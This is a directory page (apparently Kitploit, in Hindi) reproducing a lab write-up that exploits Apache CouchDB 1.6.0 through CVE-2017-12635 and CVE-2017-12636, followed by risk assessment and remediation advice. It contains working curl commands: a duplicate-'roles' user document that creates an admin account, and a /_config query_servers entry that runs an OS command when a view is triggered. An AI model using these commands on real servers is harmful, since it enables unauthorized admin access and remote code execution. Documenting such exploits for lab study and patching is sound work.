Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-12635_36 — Apache CouchDB 1.6.0 के विरुद्ध CVE-2017-12635 (विशेषाधिकार वृद्धि) और CVE-2017-12636 (रिमोट कोड निष्पादन) के शोषण का प्रदर्शन करने वाली चरण-दर-चरण लैब, जोखिम मूल्यांकन और उपचार मार्गदर्शन के साथ। | Kitploit
उपकरण/GitHubGitHub/dungsocool/cve-2017-12635_36
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubdungsocool/cve-2017-12635_36

CVE-2017-12635_36

Apache CouchDB 1.6.0 के विरुद्ध CVE-2017-12635 (विशेषाधिकार वृद्धि) और CVE-2017-12636 (रिमोट कोड निष्पादन) के शोषण का प्रदर्शन करने वाली चरण-दर-चरण लैब, जोखिम मूल्यांकन और उपचार मार्गदर्शन के साथ।

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Lab7-CVE-2017-12635-12636

I. सिस्टम विश्लेषण

अटैक सतह की पहचान

वातावरण में क्या चल रहा है, इससे शुरुआत करते हुए, मैं सभी सक्रिय कंटेनरों को सूचीबद्ध करता हूँ:

docker ps

image.png

पीड़ित केवल एक पोर्ट एक्सपोज़ करता है: 5984

⇒ मैं अधिक जानकारी के लिए सीधे उस पर curl करता हूँ:

curl -i http://192.168.3.137:5984/

image.png

प्रतिक्रिया का विश्लेषण:

प्रतिक्रिया: HTTP/1.1 200 OK, जो साबित करती है कि पोर्ट 5984 पर सेवा सक्रिय है और HTTP के माध्यम से सीधे एक्सेस की जा सकती है।

सर्वर हेडर: CouchDB/1.6.0 (Erlang OTP/17) और JSON बॉडी जिसमें "version":"1.6.0" है, यह पुष्टि करते हैं कि यह Apache CouchDB संस्करण 1.6.0 है।

अटैक सतह का आकलन:

CouchDB सेवा पोर्ट 5984 के माध्यम से बाहरी रूप से एक्सपोज़्ड है। यह CouchDB HTTP API के लिए डिफ़ॉल्ट पोर्ट है, जो REST API के माध्यम से डेटाबेस इंटरैक्शन की अनुमति देता है।

संस्करण CouchDB 1.6.0 एक पुराना संस्करण है, जो 1.7.1 पैच से पहले का है। Apache दस्तावेज़ीकरण के अनुसार, इस रेंज के CouchDB संस्करण निम्न से प्रभावित हैं:

  • CVE-2017-12635: रिमोट प्रिविलेज एस्केलेशन डुप्लिकेट JSON roles कुंजियों की असंगत हैंडलिंग के कारण।
  • CVE-2017-12636: रिमोट कोड एक्ज़ीक्यूशन क्योंकि एक एडमिन उपयोगकर्ता HTTP API के माध्यम से सर्वर कॉन्फ़िगरेशन को संशोधित कर सकता है।

=> सोच: प्राप्त प्रतिक्रिया से यह निर्धारित करने के लिए पर्याप्त सबूत हैं कि पीड़ित पोर्ट 5984 पर Apache CouchDB 1.6.0 चला रहा है। यह एक पुराना संस्करण है जो CVE-2017-12635 और CVE-2017-12636 की एक्सप्लॉइट चेन से जुड़ा है। इसलिए, एक तार्किक एक्सप्लॉइट पथ है पहले प्रमाणीकरण स्थिति का परीक्षण करना, और फिर CouchDB HTTP API के माध्यम से प्रिविलेज एस्केलेशन या कमांड एक्ज़ीक्यूशन की संभावना का मूल्यांकन करना।


II. प्रमाणीकरण स्थिति का परीक्षण (CVE-2017-12635)

CVE-2017-12635 CouchDB में दो JSON पार्सरों के बीच विसंगति का फायदा उठाता है। जब /_users पर दो डुप्लिकेट roles कुंजियों के साथ एक उपयोगकर्ता दस्तावेज़ भेजा जाता है, तो CouchDB दस्तावेज़ के लेखन विशेषाधिकारों की जाँच के लिए दूसरी roles कुंजी का उपयोग करता है, लेकिन निर्माण के बाद उपयोगकर्ता की वास्तविक अनुमतियों के लिए पहली roles कुंजी का उपयोग करता है। इस प्रकार, एक हमलावर वैलिडेशन जाँच को बायपास करने के लिए पहली roles को ["_admin"] और दूसरी roles को [] सेट करता है, जिसके परिणामस्वरूप बनाया गया उपयोगकर्ता व्यवस्थापक विशेषाधिकार रखता है।

image.png

CouchDB दस्तावेज़ीकरण के आधार पर, CouchDB उपयोगकर्ता जानकारी को _users नामक एक विशेष डेटाबेस में संग्रहीत करता है, जहाँ प्रत्येक उपयोगकर्ता दस्तावेज़ की ID org.couchdb.user:<username> प्रारूप में होती है। चूँकि हमें hacker नाम का एक उपयोगकर्ता बनाना है, उपयोग किया जाने वाला एंडपॉइंट /_users/org.couchdb.user:hacker है। मैं एक नया उपयोगकर्ता बनाता हूँ और उसे एडमिन विशेषाधिकार प्रदान करता हूँ ताकि यह देखा जा सके कि सर्वर कैसे प्रतिक्रिया करता है।

root@kitploit:~
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

image.png

लौटाई गई प्रतिक्रिया true है, जो साबित करती है कि उपयोगकर्ता सफलतापूर्वक बनाया गया था। मैं नव निर्मित admin क्रेडेंशियल्स का उपयोग करके एक सत्यापन जाँच करता हूँ: curl -u hacker:password123 http://192.168.3.137:5984/_users। /_users एंडपॉइंट एक सिस्टम डेटाबेस है, जिससे डिफ़ॉल्ट रूप से केवल एडमिन ही मेटाडेटा पढ़ सकते हैं। यदि सामान्य उपयोगकर्ता द्वारा अनुरोध किया जाता है → 403 Forbidden। पूर्ण DB जानकारी के साथ 200 OK प्रतिक्रिया पुष्टि करती है कि hacker खाते के पास वास्तव में _admin विशेषाधिकार हैं। यह Apache CouchDB 1.6.0 पर CVE-2017-12635 परिकल्पना के साथ पूरी तरह मेल खाता है।

सारांश:

मैंने Apache CouchDB 1.6.0 पर CVE-2017-12635 को सफलतापूर्वक सत्यापित किया है। प्रारंभ में, पोर्ट 5984 केवल यह दिखाता था कि CouchDB HTTP API एक्सपोज़्ड था। curl के माध्यम से फिंगरप्रिंटिंग के बाद, प्रतिक्रिया ने पुष्टि की कि सेवा CouchDB 1.6.0 है, जो CVE-2017-12635 की भेद्यता सीमा के भीतर एक संस्करण है।

तुरंत यह निष्कर्ष निकालने के बजाय कि RCE संभव है, मैंने पहले चरण-दर-चरण प्रमाणीकरण प्रवाह को सत्यापित किया। /_users पर दो डुप्लिकेट roles कुंजियों के साथ एक उपयोगकर्ता दस्तावेज़ भेजकर, पेलोड ने उपयोगकर्ता hacker को सफलतापूर्वक बनाया। इसके बाद, curl -u hacker:password123 के माध्यम से /_users के अनुरोध ने सिस्टम डेटाबेस विवरण के साथ 200 OK लौटाया, जिससे साबित हुआ कि उपयोगकर्ता hacker के पास वास्तव में _admin विशेषाधिकार हैं।

परिणामस्वरूप, एक बार CouchDB एडमिन विशेषाधिकार प्राप्त हो जाने पर, अटैक सतह CVE-2017-12636 तक विस्तारित हो जाती है, क्योंकि एडमिन HTTP API के माध्यम से CouchDB कॉन्फ़िगरेशन को बदल सकते हैं। यह सर्वर पर रिमोट कोड एक्ज़ीक्यूशन क्षमताओं का और मूल्यांकन करने के लिए पूर्वापेक्षा के रूप में कार्य करता है।

⇒ सोच: OS-स्तरीय कमांड एक्ज़ीक्यूशन का परीक्षण करने के लिए नव प्राप्त एडमिन विशेषाधिकारों का उपयोग करें।


III. CouchDB एडमिन विशेषाधिकारों से रिमोट कोड एक्ज़ीक्यूशन तक (CVE-2017-12636)

image.png

Apache CouchDB दस्तावेज़ीकरण के अनुसार, एक क्वेरी सर्वर एक बाहरी प्रक्रिया है जिसका उपयोग CouchDB design functions को संसाधित करने के लिए करता है, जैसे MapReduce तंत्र में एक JavaScript व्यू। जब एक design document "language" फ़ील्ड घोषित करता है, तो CouchDB query_servers कॉन्फ़िगरेशन में संबंधित क्वेरी सर्वर को खोजने के लिए इस मान पर निर्भर करता है।

यदि design document में "language": "javascript" है, तो CouchDB map/reduce फ़ंक्शन को संभालने के लिए कौन सी प्रक्रिया स्पॉन करनी है, यह निर्धारित करने हेतु query_servers.javascript कॉन्फ़िगरेशन को क्वेरी करता है। यह एक वैध CouchDB डिज़ाइन है, क्योंकि CouchDB कोर डेटाबेस इंजन के भीतर सभी व्यू कोड को सीधे निष्पादित नहीं करता है।

⇒ समस्या CVE-2017-12636 में CouchDB व्यवस्थापक की HTTP API के माध्यम से सर्वर कॉन्फ़िगरेशन को संशोधित करने की क्षमता निहित है। इनमें से कुछ कॉन्फ़िगरेशन में ऑपरेटिंग सिस्टम-स्तरीय बाइनरी या प्रक्रियाओं के पथ शामिल हैं जिन्हें CouchDB लॉन्च करेगा। इसलिए, CVE-2017-12635 से एडमिन विशेषाधिकार प्राप्त करने के बाद, एक हमलावर query_servers.<language> को एक OS कमांड की ओर इंगित करने के लिए संशोधित कर सकता है। जब संबंधित भाषा का उपयोग करने वाला व्यू ट्रिगर होता है, तो CouchDB कमांड को स्पॉन करेगा, जिसके परिणामस्वरूप सर्वर पर कमांड एक्ज़ीक्यूशन होगा।

एक्सप्लॉइटेशन प्रवाह:

  1. CVE-2017-12635 के माध्यम से CouchDB एडमिन विशेषाधिकार प्राप्त करें।
  2. /_config एंडपॉइंट के माध्यम से दुर्भावनापूर्ण कॉन्फ़िगरेशन को query_servers.cmd में लिखें।
  3. "language": "cmd" के साथ एक design document बनाएँ।
  4. व्यू को ट्रिगर करें।
  5. CouchDB query_servers.cmd को खोजता है और कॉन्फ़िगर की गई प्रक्रिया को स्पॉन करता है।
  6. OS कमांड CouchDB प्रक्रिया के विशेषाधिकारों के तहत निष्पादित होती है।

संचालन तंत्र

दुर्भावनापूर्ण query_server कॉन्फ़िगरेशन लिखना

मान के रूप में OS कमांड के साथ, एक मनमाना नाम वाला "क्वेरी सर्वर" पंजीकृत करें:

root@kitploit:~
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

यह वह OS कमांड है जिसे CouchDB प्रक्रिया द्वारा स्पॉन किया जाएगा।

एक्ज़ीक्यूशन ट्रिगर करना — डेटाबेस और दस्तावेज़ बनाना

root@kitploit:~
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest

# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
  -H "Content-Type: application/json" \
  -d '{
    "language": "cmd",
    "views": {
      "myview": {
        "map": "function(doc){}"
      }
    }
  }'

# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview

एक्ज़ीक्यूशन प्रवाह:

root@kitploit:~
View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
           → [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
           → [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
           → [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]

RCE सत्यापित करें:

root@kitploit:~
docker exec project1-lab07-1 cat /tmp/pwned

image.png

सोच: यह RCE हमला blind/असिंक्रोनस है क्योंकि कमांड आउटपुट सीधे HTTP प्रतिक्रिया में नहीं लौटाया जाता है। इसलिए, यह साबित करने के लिए कि कमांड निष्पादित की गई थी, मैंने एक पेलोड का उपयोग किया जो id कमांड के आउटपुट को /tmp/pwned फ़ाइल में लिखकर एक साइड इफेक्ट उत्पन्न करता है। कंटेनर में /tmp/pwned फ़ाइल को पढ़ते समय और आउटपुट uid=1000(couchdb) gid=999(couchdb) को देखते हुए, हम यह निष्कर्ष निकाल सकते हैं कि CouchDB ने couchdb उपयोगकर्ता के विशेषाधिकारों के तहत OS कमांड को सफलतापूर्वक निष्पादित किया।

परिणाम uid=1000(couchdb) दिखाता है कि कमांड रूट विशेषाधिकारों के साथ नहीं चली, बल्कि CouchDB प्रक्रिया के विशेषाधिकारों के साथ चली। यह साबित करने के लिए पर्याप्त है कि CVE-2017-12636 सेवा अनुमतियों की सीमाओं के भीतर रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।


IV. जोखिम आकलन और सिफारिशें

जोखिम आकलन

सिस्टम पर JSON पार्सर असंगति (CVE-2017-12635) भेद्यता, क्वेरी सर्वर इंजेक्शन (CVE-2017-12636) के साथ संयुक्त, उच्चतम जोखिम स्तर पर आंकी गई है:

मानदंडआकलनविवरण
CVSS स्कोर9.8 (क्रिटिकल)लगभग अधिकतम, एक्सप्लॉइट करने के लिए केवल एक HTTP अनुरोध की आवश्यकता।
प्रमाणीकरण (Auth)आवश्यक नहींहमलावरों को खाते या लॉगिन की आवश्यकता नहीं है। CVE-2017-12635 रिमोट एडमिनिस्ट्रेटिव खाता निर्माण की अनुमति देता है।
जटिलताबहुत कमइसमें केवल /_users एंडपॉइंट पर डुप्लिकेट "roles" कुंजी वाला JSON पेलोड युक्त एक HTTP PUT अनुरोध भेजना शामिल है।
प्राप्त विशेषाधिकारcouchdb (uid=1000)CouchDB चलाने वाले उपयोगकर्ता के विशेषाधिकारों के तहत OS कमांड स्पॉन करता है, जिससे सिस्टम फ़ाइल पढ़ने/लिखने और सभी डेटाबेस तक पहुँच की अनुमति मिलती है।
पार्श्व संचलन (Lateral Movement)उच्चसमझौता किए गए कंटेनर से, एक हमलावर आंतरिक स्कैनिंग (LAN) कर सकता है और उसी Docker नेटवर्क के भीतर अन्य कंटेनरों या होस्ट मशीन को लक्षित कर सकता है।

निवारण सिफारिशें

इन भेद्यताओं को पूरी तरह से कम करने के लिए, सिस्टम प्रशासन टीम को निम्नलिखित उपायों को लागू करना चाहिए (प्राथमिकता के क्रम में):

अत्यावश्यक प्राथमिकता (अल्पकालिक):

  1. Apache CouchDB को अपग्रेड करें: तुरंत एक सुरक्षित संस्करण में अपडेट करें (≥ 1.7.1 या ≥ 2.1.1, अनुशंसित संस्करण 3.x)। यह एक अनिवार्य उपाय है क्योंकि भेद्यता कोर JSON पार्सर इंजन (jiffy) और क्वेरी सर्वर कॉन्फ़िगरेशन तंत्र में निहित है।
  2. अनिवार्य प्रमाणीकरण लागू करें: सभी अनाम API पहुँच को अवरुद्ध करने के लिए local.ini कॉन्फ़िगरेशन फ़ाइल में require_valid_user = true कॉन्फ़िगर करें। CouchDB को कभी भी "एडमिन पार्टी" मोड में न चलाएँ (जहाँ कोई एडमिन नहीं होता, जिससे हर कोई एडमिन बन जाता है)।

उच्च प्राथमिकता (दीर्घकालिक और डिफेंस-इन-डेप्थ):

  1. पोर्ट 5984 तक नेटवर्क पहुँच प्रतिबंधित करें: केवल विश्वसनीय IP को पोर्ट 5984 तक पहुँच की अनुमति देने के लिए एक फ़ायरवॉल (iptables/firewall) कॉन्फ़िगर करें। यह पोर्ट कभी भी सार्वजनिक इंटरनेट पर एक्सपोज़ नहीं होना चाहिए। यदि एप्लिकेशन और CouchDB एक ही मशीन पर हैं, तो CouchDB को सख्ती से 127.0.0.1 से बाइंड करें।
  2. HTTP API के माध्यम से कॉन्फ़िगरेशन अक्षम करें: यह प्रतिबंधित करने के लिए कि कौन सी कॉन्फ़िगरेशन कुंजियाँ API के माध्यम से संशोधित की जा सकती हैं, local.ini फ़ाइल में config_whitelist का उपयोग करें, जिससे हमलावरों को OS कमांड इंजेक्ट करने के लिए /_config/query_servers एंडपॉइंट का लाभ उठाने से रोका जा सके।
  3. कंटेनर नेटवर्किंग प्रतिबंधित करें: आवश्यक न होने तक कंटेनर को साझा डिफ़ॉल्ट ब्रिज नेटवर्क पर रखने से बचें। रिवर्स शेल निष्पादन को रोकने के लिए इंटरनेट पर आउटबाउंड कनेक्शन (आउटबाउंड ट्रैफ़िक) सक्रिय रूप से शुरू करने से कंटेनर को रोकने हेतु फ़ायरवॉल नियम कॉन्फ़िगर करें।
टूल डाउनलोड करें